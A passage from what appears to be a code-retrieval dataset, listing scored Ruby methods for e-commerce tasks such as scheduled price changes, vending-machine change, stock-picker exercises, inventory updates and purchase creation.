"e2f1e79893d04e4ccba41471bc65ac1a", "score": "0.63929266", "text": "def change_price_0513\n event = ScheduledEvent.find_by(name: 'change_price_0513')\n return true unless event\n\n original_pm_special_prices = {}\n original_work_prices = {}\n original_std_work_prices = {}\n\n by_model = {\n 'wdpillow_45x45cm_pile' => 98.0,\n 'shortsleeve_white_l' => 90.0,\n 'shortsleeve_white_m' => 90.0,\n 'shortsleeve_white_s' => 90.0,\n 'shortsleeve_black_l' => 98.0,\n 'shortsleeve_black_m' => 98.0,\n 'shortsleeve_black_s' => 98.0,\n 'shortsleeve_black_xx' => 98.0,\n 'wdcanvasbag_single' => 98.0,\n 'wdcanvasbag_double' => 149.0\n }\n\n products = ProductModel.all.to_a\n\n ActiveRecord::Base.transaction do\n by_model.each do |k, cny|\n products.select { |p| p.key == k }.each do |product|\n price_tier_id = PriceTier.where(\"prices->>'CNY' = ?\", cny.to_s).first.id\n\n original_pm_special_prices[product.id] = product.customized_special_price_tier_id\n product.works.is_public.each { |w| original_work_prices[w.id] = w.price_tier_id }\n product.standardized_works.is_public.each { |s| original_std_work_prices[s.id] = s.price_tier_id }\n\n product.update(customized_special_price_tier_id: price_tier_id)\n product.works.is_public.update_all(price_tier_id: price_tier_id)\n product.standardized_works.is_public.update_all(price_tier_id: price_tier_id)\n end\n end\n\n event.extra_info = {\n original_pm_special_prices: original_pm_special_prices,\n original_work_prices: original_work_prices,\n original_std_work_prices: original_std_work_prices\n }\n event.save\n end\n end", "title": "" }, { "docid": "4990e2d69423e08d4473832e029431cf", "score": "0.63854617", "text": "def set_buy\n end", "title": "" }, { "docid": "78de85d200eda80d7022bd618b32d03c", "score": "0.6381609", "text": "def deposit_and_change\n # deposit the money\n self.paid.each do |coin, how_many|\n Coin.find_by_value(coin).update(difference: how_many)\n end\n\n # calculate the absolute value of the change\n self.amount = self.total_paid - self.product.value\n\n while self.amount > 0\n # calculate the best option for the change with the coins with quantity > 0, but without checking if they are enough\n # (imagine an infinite value)\n to_return = create_change(amount)\n # exit if there are no more coin useful for the change inside the vending machine\n break if self.amount > 0 and to_return.empty?\n\n # coming from the bigger coin size, return the coins to the user\n self.amount = 0\n to_return.each do |coin, how_many|\n coin_in_deposit = Coin.find_by_value(coin)\n if coin_in_deposit.quantity >= how_many\n # if the coin quantity is enough simply return all needed coins\n self.change[coin].nil? ? self.change[coin] = how_many : self.change[coin] += how_many\n coin_in_deposit.update(difference: how_many * -1)\n else\n # if the coin quantity is not enough, return the maximum available and keep the credit\n self.amount += coin * (how_many-coin_in_deposit.quantity)\n self.change[coin].nil? ? self.change[coin] = coin_in_deposit.quantity : self.change[coin] += coin_in_deposit.quantity\n coin_in_deposit.update(difference: coin_in_deposit.quantity * -1)\n end\n end\n end\n end", "title": "" }, { "docid": "9eaf530028268125b69ada9df15debe4", "score": "0.63710207", "text": "def change_price_0520\n event = ScheduledEvent.find_by(name: 'change_price_0520')\n return true unless event\n\n original_pm_special_prices = {}\n original_work_prices = {}\n original_std_work_prices = {}\n\n by_category = {\n 'mug' => 33.0\n }\n\n by_model = {\n 'wdpillow_35x35cm_pile' => 66.0, # 双面软毛绒抱枕\n 'wdpillow_45x45cm_pile' => 88.0,\n 'wdpillow_35x35cm_psf' => 66.0, # 双面桃皮绒抱枕\n 'wdpillow_45x45cm_psf' => 77.0,\n 'shortsleeve_white_l' => 66.0,\n 'shortsleeve_white_m' => 66.0,\n 'shortsleeve_white_s' => 66.0,\n 'shortsleeve_black_l' => 77.0,\n 'shortsleeve_black_m' => 77.0,\n 'shortsleeve_black_s' => 77.0,\n 'shortsleeve_black_xx' => 77.0,\n 'waterpackage_350ml_6pcs' => 33.0,\n 'usb_white_2G' => 33.0,\n 'usb_black_2G' => 33.0,\n 'powerbank_white_2500' => 44.0,\n 'powerbank_black_2500' => 44.0,\n '30x30cm_canvas_cn' => 44.0,\n '45x30cm_canvas_cn' => 52.0\n }\n\n products = ProductModel.joins(:category)\n\n ActiveRecord::Base.transaction do\n by_category.each do |key, cny|\n products.where('product_categories.key = ?', key).each do |product|\n price_tier_id = PriceTier.where(\"prices->>'CNY' = ?\", cny.to_s).first.id\n\n original_pm_special_prices[product.id] = product.customized_special_price_tier_id\n product.works.is_public.each { |w| original_work_prices[w.id] = w.price_tier_id }\n product.standardized_works.is_public.each { |s| original_std_work_prices[s.id] = s.price_tier_id }\n\n product.update_attributes(customized_special_price_tier_id: price_tier_id)\n product.works.is_public.update_all(price_tier_id: price_tier_id)\n product.standardized_works.is_public.update_all(price_tier_id: price_tier_id)\n end\n end\n\n products = products.to_a\n\n by_model.each do |k, cny|\n products.select { |p| p.key == k }.each do |product|\n price_tier_id = PriceTier.where(\"prices->>'CNY' = ?\", cny.to_s).first.id\n\n original_pm_special_prices[product.id] = product.customized_special_price_tier_id\n product.works.is_public.each { |w| original_work_prices[w.id] = w.price_tier_id }\n product.standardized_works.is_public.each { |s| original_std_work_prices[s.id] = s.price_tier_id }\n\n product.update(customized_special_price_tier_id: price_tier_id)\n product.works.is_public.update_all(price_tier_id: price_tier_id)\n product.standardized_works.is_public.update_all(price_tier_id: price_tier_id)\n end\n end\n\n event.extra_info = {\n original_pm_special_prices: original_pm_special_prices,\n original_work_prices: original_work_prices,\n original_std_work_prices: original_std_work_prices\n }\n event.save\n end\n end", "title": "" }, { "docid": "aa7e7bb0eda5174515dfdd117d5e7389", "score": "0.6363386", "text": "def sell\n @product.product_index\n all_products = @product.product_index_invisble\n input_sell = \"r\"\n selected = nil\n quantity = nil\n buy_cart = []\n total = 0\n #WHILE for the opction to selecte other kind of product and quantity\n while input_sell == \"r\" || input_sell == \"R\" || input_sell == \"add\"||input_sell == \"ADD\"\n selected = select_article(all_products)\n #selected[0] # => consecutive\n #selected[1] # => quantity\n #selected[2] # => price\n #selected[3] # => name\n #CAUTION: if selected throws an error , watch for the line un select_article method in wixh is readed: \"selected[2] = selected[2].delete \"$\" if selected[2].class != Fixnum\" line\n puts \"select quantity\"\n #the quantity is obtain\n quantity = gets.chomp.to_i\n #WHILE the input is greater than the exitance in inventory, a new input is required\n while quantity > selected[1] || quantity <= 0\n puts \"chooose a number between 1 and #{selected[1]}\" if quantity <= 0\n puts \"not enough in stock, tray again\" if quantity > selected[1]\n quantity = gets.chomp.to_i\n end\n #p selected[2]# = selected[2] - quantity\n #the amount to pay is show for the quantity of products\n mount_to_pay = total_of_same_product_count(quantity,selected[2])\n puts \"your request is: \\n#{quantity} units of #{selected[3]}, that would be $#{mount_to_pay} enter:\"\n puts \" -\\\"r\\\" if you want to re-initiate your buy \\n -\\\"add \\\" for add more articles in the buy-cart \\n -any key to continue with the operation\"\n all_products.each do |product|\n product[1] = product[1] - quantity if selected[0] == product[0]\n end\n #input_buyer determines if the loop for selecting product is re-initiated\n input_sell = gets.chomp\n buy_cart << [quantity,mount_to_pay,selected[3]] if input_sell == \"add\" || input_sell == \"ADD\" || input_sell != \"r\" || input_sell != \"R\" || input_sell == \"\\n\"\n end\n puts \"your buy car includes:\"\n buy_cart.each do |product_in_cart|\n puts \"-#{product_in_cart[0]} units of #{product_in_cart[2]} for $#{product_in_cart[1]} \"\n total = total + product_in_cart[1].to_i\n end\n puts \"thar would be a total of #{total}\"\n input_sell = nil\n puts \"if its that correct enter \\\"ok\\\" \\nif you wana try again type \\\"no\\\"\"\n input_sell = gets.chomp\n case input_sell\n #WHEN inputu is \"no\" the sell star's again\n when \"no\"\n sell\n #WHEN \"ok\" then the quantity of products in inventory is re-arrange\n when \"ok\"\n @product.arrange_inventory(buy_cart)\n @view.thanks(1)\n end\n menu_buyer\n end", "title": "" }, { "docid": "d4789c6fe3c13d543fcd10e884d43222", "score": "0.6361403", "text": "def sell\n end", "title": "" }, { "docid": "26b2bf1b0e73e126af04f0a664bfcba8", "score": "0.63577336", "text": "def set_stock_update\n \tif self.changed.include?('payment_id')\n \t\tif self.payment.nil?\n \t\t\tif LocationProduct.where(location_id: Payment.find(self.changes[:payment_id][0]).location_id, product_id: self.product).count > 0\n\t\t \t\tlocation_product = LocationProduct.where(location_id: Payment.find(self.changes[:payment_id][0]).location_id, product_id: self.product).first\n\t\t \t\tlocation_product.stock = location_product.stock + self.quantity >= 0 ? location_product.stock + self.quantity : 0\n\t\t \t\tlocation_product.save\n\t\t \tend\n \t\telse\n\t \t\tif LocationProduct.where(location_id: self.payment.location_id, product_id: self.product).count > 0\n\t\t \t\tlocation_product = LocationProduct.where(location_id: self.payment.location_id, product_id: self.product).first\n\t\t \t\tlocation_product.stock = location_product.stock - self.quantity >= 0 ? location_product.stock - self.quantity : 0\n\t\t \t\tlocation_product.save\n\t\t \tend\n\t\tend\n \telsif self.changed.include?('quantity')\n \t\tif LocationProduct.where(location_id: self.payment.location, product_id: self.product).count > 0\n\t \t\tlocation_product = LocationProduct.where(location_id: self.payment.location, product_id: self.product).first\n\t \t\tlocation_product.stock = location_product.stock - (self.changes[:quantity][1] - self.changes[:quantity][0]) >= 0 ? (self.changes[:quantity][1] - self.changes[:quantity][0]) : 0\n\t \t\tlocation_product.save\n\t \tend\n \tend\n end", "title": "" }, { "docid": "f62bc242e951c2e770b59947910ccab8", "score": "0.63517565", "text": "def make_purchase(sku_data)\n pricings = optimal_pricings_for(sku_data[:sku])\n while sku_data[:quantity] > 0\n return unless pricing = pricings.detect { |pricing| pricing.quantity <= sku_data[:quantity] } \n sku_data[:quantity_bought] += pricing.quantity\n sku_data[:quantity] -= pricing.quantity\n sku_data[:total] += pricing.price\n end\n end", "title": "" }, { "docid": "7ddaef772eb389731fe37f79638618bf", "score": "0.63455635", "text": "def sell_stock(client_name, stock_symbol, stock_quantity, portfolio_name)\n @money_earned = Stock.get_quote(stock_symbol) * stock_quantity\n if stock_quantity <= #quantity_actually_in_portfolio\n deposit(money_required)\n # and delete from portfolio\n else puts \"ERROR: Insufficient shares\"\n end\n end", "title": "" }, { "docid": "5b38d52f9a6b48cf9307b322a41a0c53", "score": "0.6339167", "text": "def mark_as_sold\n decrement_quantity_available_for_item\n remove_quantity_reservations\n mark_database_record_as_sold\n end", "title": "" }, { "docid": "4734dfc164cffb98e0a17541f62ec957", "score": "0.6332605", "text": "def stock_picker stock_prices\n #generates an array of random numbers which are the stock prices for each day\n stock_prices = Array.new(10) { rand(1...10) }\n #sets profit at 0 to start\n\tprofit = 0\n #loops through each item in the array from beginning to end\n\tfor i in 0...stock_prices.length\n #also loops through each item but moves once place ahead of i for each iteration\n\t\tfor j in (i+1)...stock_prices.length\n #if the value of subtracting i from j is greater than the value of the profit variable...\n\t\t\tif((stock_prices[j] - stock_prices[i]) > profit)\n #set the new value of profit to the value at j minus the value at i\n\t\t\t\tprofit = stock_prices[j] - stock_prices[i]\n #next set the buy date to whatever i's value is\n\t\t\t\tbuy = i\n #and set the seel date to whatever j's value is\n\t\t\t\tsell = j\n\t\t\tend\n\t\tend\n\tend\n #creates a new array with the buy day and the sell day\n\tdays_of_transactions = [buy, sell]\n puts \"You've got quite for buying and selling stock. You've consistently bought low and sold high to maximize your profits per share.\"\n #puts the array of buy and sell day\n puts \"The stock prices of ACME over the past 10 days were:\"\n stock_prices.each { |price|\n puts \"$#{price}\"\n }\n\tputs \"The index of days in the array at which you bought and sold were: #{days_of_transactions}.\"\n puts \"Very well done. You made a profit of $#{profit}/share of ACME.\"\nend", "title": "" }, { "docid": "3dbbe67af0f7d949baab7751e70854b2", "score": "0.6332037", "text": "def stock_picker(prices)\n\n\tmax_gain, buy_day, sell_day = 0, 0, 0\n\tpres_day = 0\n\n\twhile prices.length > 0\n\t\tpres_price = prices.shift\n\t\tprices.each_with_index do |price, day|\n\t\t\tif pres_price - price > max_gain\n\t\t\t\tbuy_day = pres_day\n\t\t\t\tsell_day = day + pres_day + 1\n\t\t\t\tmax_gain = pres_price - price\n\t\t\tend\n\t\tend\n\t\tpres_day += 1\n\tend\n\n\tputs \"You should buy on day #{buy_day.to_s} and sell on day #{sell_day.to_s} for a gain of $#{max_gain.to_s}\"\n\t[buy_day, sell_day]\n\nend", "title": "" }, { "docid": "9a269a3a69fa7e61f1080a68cd560a75", "score": "0.6322258", "text": "def create\n _params = purchase_params\n if validate_params(_params) then\n purchase = Purchase.new(_params)\n purchase.user_name = current_user.name\n products = []\n ids = _params['product_ids']\n product_num = ids.length\n product_num.times do |i|\n product = Product.find(ids[i])\n puts _params['quantities'][i].to_f\n puts product.in_stock \n if (product.in_stock < _params['quantities'][i].to_f)\n redirect_to '/purchases/new', notice: 'الكمية المتاحة بالمخزن من ذلك المنتج أقل من المطلوب'\n return\n end\n products.push product\n end\n purchase.price = 0\n purchase.prices.each_with_index do |price, i|\n purchase.price = purchase.price + price.to_f * purchase.quantities[i].to_f\n end\n if _params['paid_amount'].present? && purchase.price < _params['paid_amount'].to_f\n redirect_to '/purchases/new', notice: 'لا يمكن أن يكون المبلغ المدفوع أكبر من السعر الكلي'\n return\n end\n if (purchase.payment_state == \"آجل\")\n purchase.debt = purchase.price_with_taxes - params[\"paid_amount\"].to_f\n else\n purchase.debt = 0\n end\n if purchase.save\n invoice = Invoice.create!({purchase_id: purchase.id})\n permission = ReleaseProductPermission.create!({transaction_id: purchase.id})\n purchase.invoice_id = invoice.id\n purchase.save\n if (purchase.price_with_taxes != purchase.debt)\n update_treasury(purchase.payment_method, purchase.price_with_taxes - purchase.debt, PURCHASE, purchase.id, \"عملية بيع\", 0, params[\"cheque_num\"], purchase.date_added)\n end\n # if purchase.debt == 0\n # add_tax(purchase.payment_method, PURCHASE, purchase.id, purchase.price)\n # end\n # treasury = Treasury.first\n # if (purchase.payment_method == \"cash\")\n # treasury.cash = treasury.cash + purchase.price - purchase.debt\n # else\n # treasury.bank = treasury.bank + purchase.price - purchase.debt\n # end\n client = Client.find(purchase.client_id)\n client.debt = client.debt + purchase.debt\n products.each_with_index do |product, i|\n product.in_stock = product.in_stock - purchase.quantities[i].to_f\n product.save\n end\n\n # treasury.save\n client.save\n PurchasePaymentDetail.create()\n\n redirect_to \"/permission/purchase/#{permission.id}/#{invoice.id}\"\n end\n else\n redirect_to '/purchases/new', notice: 'حدث خطأ في معالجة الطلب. برجاء مراجعة المدخلات'\n end\n end", "title": "" }, { "docid": "74ce0230b9edad5b2d65bc7f269ac223", "score": "0.63137037", "text": "def price_check(contract_id, liquidity_param, quant, choice)\n #pull in relevant contract row\n contract_row = Contract.where({ :id => contract_id }).at(0)\n \n #for classical contracts do the following:\n #need to update to account for yes vs no\n if contract_row.category == \"Classical\"\n if choice == \"yes\"\n #set contract contribution sum from before purchase to 0 to start\n contract_contribution_sum_pre = 0\n\n #calculate contract contribution sum total from before purchase\n contract_row.market.contracts.each do |contract_calc|\n contract_contibution = Math.exp((contract_calc.quantity_a.to_f / liquidity_param))\n contract_contribution_sum_pre = contract_contribution_sum_pre + contract_contibution\n end\n #calculate cost function for # of original outstanding shares\n cost_function_pre = liquidity_param * Math.log(contract_contribution_sum_pre)\n\n #set contract contribution sum from after purchase to 0\n contract_contribution_sum_post = 0\n #calculate contract contribution sum from after purchase for all contract except for the relevant contract\n contract_row.market.contracts.where.not({ :id => contract_id }).each do |contract_calc|\n contract_contibution = Math.exp((contract_calc.quantity_a.to_f / liquidity_param))\n contract_contribution_sum_post = contract_contribution_sum_post + contract_contibution\n end\n\n #add quantity user wants to purchase to the quantity for contract that user wants to purchase\n contract_contribution_sum_post = contract_contribution_sum_post + Math.exp(((contract_row.quantity_a.to_f + quant.to_f) / liquidity_param))\n\n #calculate cost function for desired # of new outstanding shares\n\n cost_function_post = liquidity_param * Math.log(contract_contribution_sum_post)\n\n #calculate pricefor purchase by subtracting the cost function post by the cost function pre\n price = (cost_function_post - cost_function_pre).ceil(2)\n\n return price\n \n #set price equal to 1-price of yes if choice is no\n #needs to be fixed so that cannot make infinite money\n elsif choice == \"no\"\n total_price = 0\n contract_row.market.contracts.where.not({ :id => contract_row.id }).each do |calculate_price|\n total_price = total_price + price_check(calculate_price.id, liquidity_param, quant, \"yes\")\n end\n\n price = total_price.ceil(2)\n\n return price\n\n end\n \n\n\n #for Independent contracts do the following:\n elsif contract_row.category == \"Independent\"\n #calculate contract contribution sum total from before purchase\n cost_function_pre = liquidity_param * Math.log((Math.exp((contract_row.quantity_a.to_f / liquidity_param)) + Math.exp((contract_row.quantity_b.to_f / liquidity_param))))\n \n if choice == \"yes\"\n cost_function_post = liquidity_param * Math.log((Math.exp(((contract_row.quantity_a.to_f + quant.to_f)/ liquidity_param)) + Math.exp((contract_row.quantity_b.to_f / liquidity_param))))\n elsif choice == \"no\"\n cost_function_post = liquidity_param * Math.log((Math.exp(((contract_row.quantity_a.to_f)/ liquidity_param)) + Math.exp(((contract_row.quantity_b.to_f + quant.to_f) / liquidity_param))))\n end\n price = (cost_function_post - cost_function_pre).ceil(2)\n return price\n end\n\n end", "title": "" }, { "docid": "6a72685d99ad7c92ee06daa5c50f41f0", "score": "0.63109154", "text": "def execute\n # stock existence should be validated at creation\n @stock = Stock.find_by(ticker: @suggestion.ticker)\n price = nil\n\n # If the stock price is nil (the stock isn't currently active)\n if @stock.price == nil\n res = RestClient.get(\"https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol=\" + @stock.ticker + \"&apikey=YNKAKVYRW2VHVAV1\")\n res = JSON.parse(res)\n price = res[\"Global Quote\"][\"05. price\"]\n else\n price = @stock.price\n end\n\n if @suggestion.quantity < 0\n # sell\n\n @holding = Holding.find_by(team_id: @team.id, stock_id: @stock.id)\n if @holding != nil\n quantity = [-@suggestion.quantity, @holding.quantity].min\n income = price * quantity\n res = @holding.update(quantity: @holding.quantity - quantity)\n if @holding.quantity == 0\n @holding.destroy\n end\n @team.update(balance: @team.balance + income, value: @team.value - income)\n if res == false\n redirect_to @suggestion, alert: \"Invalid quantity.\" and return\n end\n else\n redirect_to current_user, notice: 'No such holding.' and return\n end\n\n else\n # buy\n # to_i converts nil to 0, @stock.price may be nil\n\n cost = price.to_i * @suggestion.quantity\n # @team.value is nil by default\n res = @team.update(balance: @team.balance - cost, value: @team.value.to_i + cost)\n if res == false\n redirect_to @suggestion, alert: \"Insufficient Balance.\" and return\n end\n\n @holding = Holding.find_by(team_id: @team.id, stock_id: @stock.id)\n if @holding != nil\n @holding.update(quantity: @holding.quantity + @suggestion.quantity)\n else\n @holding = Holding.create(team_id: @team.id, stock_id: @stock.id, ticker: @stock.ticker, quantity: @suggestion.quantity, price: @stock.price, value: @stock.price * @suggestion.quantity)\n end\n end\n\n # Update stock with new price\n @stock.price = price.to_i\n @stock.save # \"save\" instead of \"update_attribute\", since the latter does not update the \"updated_at\" field\n @stock.touch # \"save\" only updates \"updated_at\" field if changes were made, \"touch\" guarantees \"updated_at\" is updated\n\n # if the above operations have been successfully executed or the holding to sell doesn't exist\n redirect_to current_user, notice: 'Suggestion was successfully executed.'\n @suggestion.destroy\n\n end", "title": "" }, { "docid": "a2de6bebfbf3fc4f1aec96cb38b4a98b", "score": "0.6308676", "text": "def process_transaction(price)\n amount_to_return = coin_slot.sum - price\n\n if amount_to_return.positive?\n change = coins_to_return(amount_to_return)\n print \"Returning change as follows: #{change.join(', ')} \\n\"\n end\n\n @coin_slot.clear\n\n amount_to_return\n end", "title": "" }, { "docid": "1c23b22bba24d921da70a85242f79d95", "score": "0.6303274", "text": "def settle_item_purchase(seller, item, quantity = 1)\r\n seller.credits += item.price * quantity + Integer((item.price * quantity * @sell_bonus*0.01).ceil)\r\n end", "title": "" }, { "docid": "bd9a1612f6e90777a96f2fcc9ad3e089", "score": "0.6302519", "text": "def stock_picker(prices)\n # To store previous profit value\n previous_value = -1_000_000_000\n price_combination_range = (0..prices.size - 1).to_a\n # To generate all 2 element combinations with indexes\n price_combinations_pairs = price_combination_range.combination(2).to_a\n # Reducing Combinations of indexes into profit-days combo\n price_combinations_pairs.each_with_object([]) do |pair, profit_data|\n profit_value = prices[pair[1]] - prices[pair[0]]\n next unless profit_value > previous_value\n\n profit_data.clear\n profit_data.push(profit_value, pair[0], pair[1])\n previous_value = profit_value\n end\nend", "title": "" }, { "docid": "4f9becc684c967feb59de7abf9034e98", "score": "0.6296978", "text": "def limit_buy_order(account:, venue:, stock:, price:, qty:)\n generic_order(account, venue, stock, price, qty, 'buy', 'limit')\nend", "title": "" }, { "docid": "d35c2844008a249cbe86a66fa6edaa02", "score": "0.62911797", "text": "def calculate\n n = 5000\n d = quotes.sort_by {|q| q.date}\n d.each do |q|\n \n def quantify(x, q)\n quantity = (x / q.day_neg1_close).to_i\n end\n\n if q.prediction == \"up\"\n quantity = quantify(n, q) \n buy = quantity * q.day_neg1_close\n sell = quantity * q.day_zero_open\n #pl is actually the profit or loss amount of the quote. We never push it to the quote model\n pl = sell - buy \n puts \"UP ---Date: #{q.date} -- Bank: #{n} -- Day -1 Close: #{q.day_neg1_close} -- Quantity: #{quantity} -- Total Buy: #{buy} -- Day 0 Open: #{q.day_zero_open} -- Sell: #{sell} -- P/L: #{pl}\"\n q.gain_or_loss_percent = (((q.day_zero_open - q.day_neg1_close) / q.day_neg1_close) * 100).round(2)\n n += pl \n elsif q.prediction == \"down\"\n quantity = quantify(n, q)\n sell = quantity * q.day_neg1_close\n buy = quantity * q.day_zero_open\n pl = sell - buy\n puts \"DOWN ---Date: #{q.date} -- Bank: #{n} -- Day -1 Close: #{q.day_neg1_close} -- Quantity: #{quantity} -- Total Buy: #{buy} -- Day 0 Open: #{q.day_zero_open} -- Sell: #{sell} -- P/L: #{pl}\" \n q.gain_or_loss_percent = (((q.day_neg1_close - q.day_zero_open) / q.day_neg1_close) * 100).round(2)\n n += pl\n else\n end\n end \n puts \"Our ending bank = #{n}\"\n self.bank = n \n end", "title": "" }, { "docid": "4d3aaefe13a39853e60ec4cac95cc300", "score": "0.6288866", "text": "def cal_quantity\n order_items.each do |item|\n wesell_item = item.wesell_item\n if wesell_item.status == 0 # 不限量供应\n wesell_item.total_sold += item.quantity\n wesell_item.save\n elsif wesell_item.quantity < item.quantity\n self.message = \"库存不足: #{wesell_item.name}仅剩#{wesell_item.quantity}份\"\n logger.info self.message\n else\n wesell_item.quantity -= item.quantity\n wesell_item.total_sold += item.quantity\n wesell_item.save\n end\n end\n end", "title": "" }, { "docid": "21b6c9ee4899c7a24790eeaa7bbf8c74", "score": "0.62882704", "text": "def meme_buy_sell(user,meme,stock) \n if account_money(user) < (meme_currentprice_return(meme)*stock.to_i)\n\treturn \"error not enough money\"\n elsif share_number(user,meme) + stock.to_i < 0\n\treturn \"error not enough stock to sell\"\n elsif stock.to_i == 0\n #we do nothing :D\n else\n\t#Updating stock\n\tshare_edit(user,meme,(stock.to_i+share_number(user,meme)))\n\t#Updating cash\n\taccount_money_update(user,(account_money(user)-(stock.to_i*meme_currentprice_return(meme))))\n end\nend", "title": "" }, { "docid": "0c21e421566c20980a8e42fc82790643", "score": "0.62870526", "text": "def buy(order)\n @wallet -= order.price\n end", "title": "" }, { "docid": "afe4c5559512709d55dd7bafdb7422f0", "score": "0.62856865", "text": "def deduct_stocks(amount)\n return false if amount > quantity\n\n Stock.transaction do\n self.quantity -= amount\n self.product.current_stock -= amount\n self.product.save\n self.save\n end\n end", "title": "" }, { "docid": "83f6b89311e47da4cd6d366859586614", "score": "0.6280868", "text": "def stock_picker(prices)\n\tbuy_day = 0\n\tbuy_value = 0\n\n\tsell_day = 0\n\tsell_value = 0\n\n\tdifferance = 0\n\n\tprices.each_with_index do |a,i|\n\t\tprices.each_with_index do |b,t|\n\t\t\tif (b - a) > differance && t > i\n\n\t\t\t\tbuy_day = i\n\t\t\t\tbuy_value = a \n\n\t\t\t\tsell_day = t\n\t\t\t\tsell_value = b\n\n\t\t\t\tdifferance = b - a\n\t\t\tend\n\t\tend\n\tend\n\n\tsold = \"Bought stock at day #{buy_day} for #{buy_value}$ - Sold stock at day #{sell_day} for #{sell_value}$. Profit: \"\n\treturn sold + differance.to_s + \"$\"\n\t\nend", "title": "" }, { "docid": "deb5b92c3d82d81572a4295143539b0d", "score": "0.62608635", "text": "def stock_picker(stocks)\n # initialize profit and buying/selling times\n profit = stocks[1] - stocks[0]\n time_to_sell = 1\n time_to_buy = 0\n\n buy = 1 #loop through buy from first to second to last index\n while buy < stocks.length - 1 \n \n sell = buy + 1 #loop through sell from buy to last index\n while sell < stocks.length\n \n possible_profit = stocks[sell] - stocks[buy] \n\n #adjust profit, selling/buying times if more profit can be made by buying/selling at new time\n if possible_profit > profit\n profit = possible_profit\n time_to_buy = buy\n time_to_sell = sell \n end\n \n sell += 1\n end\n buy += 1\n end \n\n [time_to_buy, time_to_sell]\nend", "title": "" }, { "docid": "a5d784f8a2b6c0575cbc33009f5a1c1a", "score": "0.6252718", "text": "def buy_item\n # This uses the other methods to let the user know if they can buy the item and updates the purchases info\n # Can I associate the purchase here with an order_item? Can I create a new order item from this model?\n enough_money, still_in_stock = meet_requirements\n if enough_money && still_in_stock\n update_puchase\n elsif still_in_stock && !enough_money\n \"Sorry. \" + not_enough_money\n elsif enough_money && !still_in_stock\n no_more_in_stock\n end\n end", "title": "" }, { "docid": "01ca1baf719b206a5b4129e52047feca", "score": "0.62525445", "text": "def purchase(product)\n if product.stock == 0 \n raise OutOfStockError, \" OutOfStockError, #{product.title} is out of stock.\"\n else \n Transaction.new(self, product)\n end\n end", "title": "" }, { "docid": "88a0b65aebae9c0998452b9bc7fb48ef", "score": "0.62467986", "text": "def make_purchase(number)\n # remove money from wallet when a purchase is made\n @wallet += number\nend", "title": "" }, { "docid": "2ab47783935047a0b778ef9b7b9037da", "score": "0.6240278", "text": "def market_buy_orders\n\n end", "title": "" }, { "docid": "215e899e8b51c602f1af42889eaa11db", "score": "0.623717", "text": "def buy(quantity)\n msg = \"Attempting to purchase #{quantity} items of product with regular price of '#{self.regular_price.description}.'\"\n msg += \" On sale for #{self.sale_price.description}.\" if on_sale?\n @logger.info msg\n\n if on_sale?\n @logger.info \"Product is on-sale.\"\n\n if self.sale_price.quantity_required?\n total_required_for_sale = self.sale_price.for_quantity + self.sale_price.quantity_for_free\n\n @logger.info \"Sale price requires the purchase of at least #{total_required_for_sale} items.\"\n\n if quantity >= total_required_for_sale\n sale_quantity = total_required_for_sale * (quantity / total_required_for_sale)\n reg_quantity = quantity.modulo(total_required_for_sale)\n\n @logger.info \"#{sale_quantity} will be priced at sale price. #{reg_quantity} will be priced at regular price.\"\n\n cost =self.sale_price.price_for(sale_quantity) + self.regular_price.price_for(reg_quantity)\n else\n @logger.info \"Not enough items are being purchased to qualify for sale pricing, using regular price.\"\n cost =self.regular_price.price_for(quantity)\n end\n else\n @logger.info \"Sale price is per-item.\"\n\n cost =self.sale_price.price_for(quantity)\n end\n else\n @logger.info \"Product not on-sale. Using regular price.\"\n cost =self.regular_price.price_for(quantity)\n end\n\n @logger.info \"Total cost for purchase of #{quantity} items is #{cost} cents.\"\n cost\n end", "title": "" }, { "docid": "fce22e8c9f0b7a7f2adca9a54cd1bbd3", "score": "0.62336135", "text": "def create\n @transaction = Transaction.new(params[:transaction])\n @customer_stock = CustomerStock.find(@transaction.customer_stock_id)\n if @transaction.is_devolution\n @transaction.value = 0\n else\n @transaction.quantity = @customer_stock.quantity - @transaction.quantity\n @transaction.value = @transaction.value * @transaction.quantity\n end\n respond_to do |format|\n if @transaction.quantity <= 0 or @customer_stock.quantity < @transaction.quantity\n format.html { redirect_to customer_stocks_reckoning_path(@customer_stock.id), notice: 'A quantidade de itens deve ser menor que a do estoque.' }\n else\n if @transaction.save\n @customer_stock.update_attributes(:quantity => @customer_stock.quantity - @transaction.quantity)\n if @transaction.is_devolution\n product = Product.find(@customer_stock.product.id)\n pr_stock = ProductStock.where('product_id = ?', product.id)[0]\n if pr_stock == nil\n ProductStock.new(\n customer_id: @order.customer_id,\n product_id: po.product_id,\n quantity: po.quantity\n ).save\n else\n pr_stock.update_attributes(:quantity => pr_stock.quantity + @transaction.quantity)\n end\n end\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "07aaaba03040cb5536f7ee15749f2624", "score": "0.6228527", "text": "def product_sold(order, sa)\n\t\t@cart_item = Cart.where(org_person_id: current_org_person.id) # Grab whatever is in the cart\n\t\tarray = Array.new # Make a new array for holding ids\n\t\t@cart_items.each do |id| # Throw all id's into the array\n\t\t\tarray << id[:org_product_id].to_i\n\t\tend\n\n\t\t@products = OrgProduct.where(id:array) # Find all the products with the id array\n\t\t# For each product\n\t\t@products.each_with_index do |product, index|\n\n\t\t\tq = @cart_items.find{ |item| item.org_product_id == product.id}\n\t\t\t#Update the quantity available in OrgProduct after the sale and save.\n\t\t\tproduct.available_quantity = product.available_quantity.to_i - q.quantity\n\t\t\tproduct.save\n\t\t\t# Create the hash for insert into trx_order_items\n\t\t\torder_item = {\n\t\t\t\tname: product.name,\n\t\t\t\tdescription: product.description,\n\t\t\t\tweight_in_grams: product.weight_in_grams,\n\t\t\t\tprice: product.price,\n\t\t\t\tavailable_quantity: product.available_quantity,\n\t\t\t\tquantity: q.quantity,\n\t\t\t\texpiry_date: product.expiry_date,\n\t\t\t\timage: product.image,\n\t\t\t\tdelivery_status: 0,\n\t\t\t\torg_product_id: product.id,\n\t\t\t\ttyp_category_id: product.typ_category_id,\n\t\t\t\ttyp_subcategory_id: product.typ_subcategory_id,\n\t\t\t\ttrx_order_id: order.id, \n\t\t\t\torg_company_id: product.org_company_id,\n\t\t\t\tshipping_address_id: sa.id,\n\t\t\t\tnet_amount: (product.price * q.quantity), # We add fees and taxes on top of the price, so the net amount is always (price + tax + fees - tax - fees)\n\t\t\t\ttax_amount: (product.price * 